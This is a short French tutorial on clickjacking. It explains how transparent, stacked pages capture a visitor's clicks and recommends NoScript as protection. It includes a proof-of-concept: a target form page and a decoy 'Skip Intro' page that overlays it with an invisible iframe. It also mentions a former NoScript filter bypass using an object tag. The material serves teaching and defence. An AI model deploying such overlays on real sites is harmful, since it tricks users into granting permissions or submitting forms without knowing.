Avez-vous entendu parler du ClickJacking ? Cette technique qui permet d’utiliser vos clics à d’autres fins ?
Je vous propose dans cet article de voir le principe, les buts et le contexte d’utilisation de cette “attaque”. Nous pourrons aussi voir un exemple, plus proche du Proof Of Concept qu’autre chose, mais toujours intéressant à étudier
.
Tout d’abord le principe. Certaines propriétés du langage HTML nous permettent de rendre des objets complètement transparents. Et d’autres nous permettent de superposer des pages les unes sur les autres.
Imaginons donc deux pages superposées l’une sur l’autre, une des deux étant transparente. Lorsque vous cliquez quelque part, les clics sont alors effectués sur les deux pages, même si vous ne “voyez” le résultat que sur une seule.
Mais une vidéo vous expliquera ça bien mieux que tout un pâté de texte
. Voici donc la vidéo PoF, permettant d’autoriser une application flash à activer la webcam :
http://www.youtube.com/watch?v=gxyLbpldmuU
Maintenant, pourquoi utiliser une attaque de ce type ?
Eh bien pour toutes les choses requérant des clics à des endroits précis, et invariants ( c’est à dire en général tout ce qui est configuration de Flash ), faire valider des formulaires pré-remplis, …
Enfin, cette attaque a l’avantage d’être relativement discrète…
Pour vous protéger ( eh oui, sortez couvert
), je vous conseille l’excellente extension “NoScript” pour Firefox ( https://addons.mozilla.org/fr/firefox/addon/722 ).
Maintenant, essayons de mettre en place une attaque de ce style.
Imaginons une page clickjackme.html, de code source :
<html>
<head><title>ClickJackMe !</title></head>
<body>
<form action="http://www.perdu.com" method="POST">
<input type="submit" value="ClickJackMe!" />
</form>
</body>
</html>
Vous l’aurez compris, le but est que le visiteur clique sur notre bouton “ClickJackMe!”. Les propriétés HTML qui vont nous servir sont “z-index” permettant de régler la profondeur, et opacity pour l’opacitée des pages. Nous utiliserons en plus de ça un filtre ( alpha(opacity=0) ).
Pour inciter notre visiteur à cliquer, nous allons mettre un bouton pour “Skip intro”
Le code source de notre page lambda.html :
<html>
<head>
<title>Page Lambda</title>
</head>
<body>
<div id="lambda" style="z-index:-10; position:absolute; top:1px; height:10px; padding-top:15px; width:100%; padding-left:35px; ">
<input type="button" value="Skip Intro" />
</div>
<div id="evil" style="z-index:10; opacity:0; filter:alpha(opacity=0);">
<iframe id="iframe" src="clickjackme.html" frameborder="O" style="opacity:0; filter:alpha(opacity=0);" />
</div>
</body>
</html>
J’imagine que vous voulez voir ce que cela donnerait si nous n’avions pas cacher la page clickjackme.html . C’est tout simple, remplacez opacity:0 par opacity:60 par exemple ( c’est en % ). Vous remarquerez que nos deux boutons ( Skip intro et ClickJackMe! ) sont l’un sur l’autre.
Il n’y a pas très longtemps, il y avait possibilité de bypasser les filtres de Noscript, avec par exemple pour l’équivalent d’une iframe: <object data=”http://www.google.com” width=”200″ height=”200″></object>
Ce problème à été réglé dans la dernière version de NoScript